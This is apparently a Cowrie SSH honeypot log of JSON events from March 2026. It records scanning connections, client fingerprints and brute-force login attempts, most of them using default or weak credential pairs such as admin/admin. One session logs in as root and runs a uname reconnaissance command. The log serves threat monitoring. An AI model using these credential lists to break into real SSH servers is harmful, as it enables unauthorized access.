{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":45344,"dst_ip":"159.203.135.109","dst_port":22,"session":"89aa629c2560","protocol":"ssh","message":"New connection: 193.46.255.86:45344 (159.203.135.109:22) [session: 89aa629c2560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:55.309449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:55.313419Z","src_ip":"193.46.255.86","session":"89aa629c2560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:55.444019Z","src_ip":"193.46.255.86","session":"89aa629c2560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.237","src_port":61044,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e664d6af3c","protocol":"ssh","message":"New connection: 147.185.132.237:61044 (10.17.0.5:22) [session: b7e664d6af3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:55.947568Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88888888","message":"login attempt [admin/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:56.035528Z","src_ip":"193.46.255.86","session":"89aa629c2560","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:56.759346Z","src_ip":"147.185.132.237","session":"b7e664d6af3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:57.168408Z","src_ip":"193.46.255.86","session":"89aa629c2560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:59:57.856449Z","src_ip":"147.185.132.237","session":"b7e664d6af3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd1234","message":"login attempt [admin/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:00.498170Z","src_ip":"193.46.255.86","session":"89aa629c2560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:05.170197Z","src_ip":"193.46.255.86","session":"89aa629c2560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:06.307456Z","src_ip":"193.46.255.86","session":"89aa629c2560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:06.442503Z","src_ip":"147.185.132.237","session":"b7e664d6af3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:07.441109Z","src_ip":"193.46.255.86","session":"89aa629c2560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":46712,"dst_ip":"159.203.135.109","dst_port":22,"session":"428a1db19371","protocol":"ssh","message":"New connection: 2.57.122.210:46712 (159.203.135.109:22) [session: 428a1db19371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:28.351084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:28.355741Z","src_ip":"2.57.122.210","session":"428a1db19371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:28.459573Z","src_ip":"2.57.122.210","session":"428a1db19371","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigenlayer","message":"login attempt [root/eigenlayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:28.770232Z","src_ip":"2.57.122.210","session":"428a1db19371","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:29.002767Z","src_ip":"2.57.122.210","session":"428a1db19371","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:29.005644Z","src_ip":"2.57.122.210","session":"428a1db19371","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:29.111163Z","src_ip":"2.57.122.210","session":"428a1db19371","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:29.115609Z","src_ip":"2.57.122.210","session":"428a1db19371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.168.24.186","src_port":10491,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ab9d6726213","protocol":"ssh","message":"New connection: 180.168.24.186:10491 (10.17.0.5:22) [session: 8ab9d6726213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:59.291069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:59.295757Z","src_ip":"180.168.24.186","session":"8ab9d6726213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:00:59.605515Z","src_ip":"180.168.24.186","session":"8ab9d6726213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"perforce","password":"perforce1234","message":"login attempt [perforce/perforce1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:01:00.879419Z","src_ip":"180.168.24.186","session":"8ab9d6726213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:01:02.190902Z","src_ip":"180.168.24.186","session":"8ab9d6726213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45424,"dst_ip":"10.17.0.5","dst_port":22,"session":"826400dde47c","protocol":"ssh","message":"New connection: 193.32.162.145:45424 (10.17.0.5:22) [session: 826400dde47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:01:19.622603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:01:19.626992Z","src_ip":"193.32.162.145","session":"826400dde47c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:01:19.728455Z","src_ip":"193.32.162.145","session":"826400dde47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:01:20.033869Z","src_ip":"193.32.162.145","session":"826400dde47c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:01:21.137778Z","src_ip":"193.32.162.145","session":"826400dde47c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":51484,"dst_ip":"10.17.0.5","dst_port":22,"session":"da7fdf5b99cc","protocol":"ssh","message":"New connection: 130.250.191.201:51484 (10.17.0.5:22) [session: da7fdf5b99cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:20.955042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:20.959528Z","src_ip":"130.250.191.201","session":"da7fdf5b99cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:21.222519Z","src_ip":"130.250.191.201","session":"da7fdf5b99cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ekp","password":"ekp123!","message":"login attempt [ekp/ekp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:22.467464Z","src_ip":"130.250.191.201","session":"da7fdf5b99cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:23.723651Z","src_ip":"130.250.191.201","session":"da7fdf5b99cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":29721,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bf5ea7fd10f","protocol":"ssh","message":"New connection: 2.57.121.25:29721 (10.17.0.5:22) [session: 5bf5ea7fd10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:25.667830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:25.672585Z","src_ip":"2.57.121.25","session":"5bf5ea7fd10f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:25.771010Z","src_ip":"2.57.121.25","session":"5bf5ea7fd10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12340987","message":"login attempt [user/12340987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:26.241667Z","src_ip":"2.57.121.25","session":"5bf5ea7fd10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121282","message":"login attempt [user/121282] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:27.343132Z","src_ip":"2.57.121.25","session":"5bf5ea7fd10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12111988","message":"login attempt [user/12111988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:28.444948Z","src_ip":"2.57.121.25","session":"5bf5ea7fd10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12111986","message":"login attempt [user/12111986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:29.546212Z","src_ip":"2.57.121.25","session":"5bf5ea7fd10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12111982","message":"login attempt [user/12111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:30.648671Z","src_ip":"2.57.121.25","session":"5bf5ea7fd10f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:31.750191Z","src_ip":"2.57.121.25","session":"5bf5ea7fd10f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49294,"dst_ip":"159.203.135.109","dst_port":22,"session":"072d6e3215b7","protocol":"ssh","message":"New connection: 2.57.122.210:49294 (159.203.135.109:22) [session: 072d6e3215b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:35.724704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:02:35.728622Z","src_ip":"2.57.122.210","session":"072d6e3215b7","protocol":"ssh"}
